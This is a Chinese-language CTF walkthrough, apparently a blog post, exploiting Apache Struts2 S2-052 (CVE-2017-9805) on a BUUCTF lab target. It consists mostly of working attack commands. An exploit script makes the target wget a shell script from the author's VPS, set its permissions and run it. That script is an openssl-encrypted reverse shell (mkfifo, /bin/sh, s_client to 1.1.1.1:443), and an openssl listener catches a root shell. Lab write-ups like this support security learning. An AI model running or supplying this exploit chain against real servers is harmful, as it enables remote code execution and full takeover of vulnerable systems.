[struts2]s2-052 BUUCTF

声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负!

参考文档

本地检测

python struts-pwn.py --url "http://node4.buuoj.cn:29619/orders/3/edit"

vps

使用openssl生成生成证书的公私钥对
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
在自己的vps上创建一个openssl反弹会话的脚本
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/s; rm /tmp/s
然后在该目录下开启http服务
python3 -m http.server 8010

本地

此处,我本想根据参考文档里用到的exp脚本进行复现,但是效果不是很理想,测试了一下dnslog没有记录,并且vps上开启http服务,利用exp进行请求的时候8010端口没有收到请求,所以我们重新找了一个exp

通过漏洞利用工具执行以下命令
python3 "Apache Struts 2 CVE-2017-9805.py" --exploit -u "http://node4.buuoj.cn:29619/orders/3/edit" -c "wget http://1.1.1.1:8010/openssl.sh"

在这里插入图片描述

利用工具将传过去的sh脚本修改权限
python3 "Apache Struts 2 CVE-2017-9805.py" --exploit -u "http://node4.buuoj.cn:29619/orders/3/edit"  -c "chmod 777 openssl.sh"

vps

重新打开openssl监听443端口加密流量
openssl s_server -quiet -key key.pem -cert cert.pem -port 443

本地

运行该sh脚本
python3 "Apache Struts 2 CVE-2017-9805.py" --exploit -u "http://node4.buuoj.cn:29619/orders/3/edit"  -c "/bin/bash ./openssl.sh"

在这里插入图片描述
vps

成功获得一个shell,且权限是root
读env处的flag

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值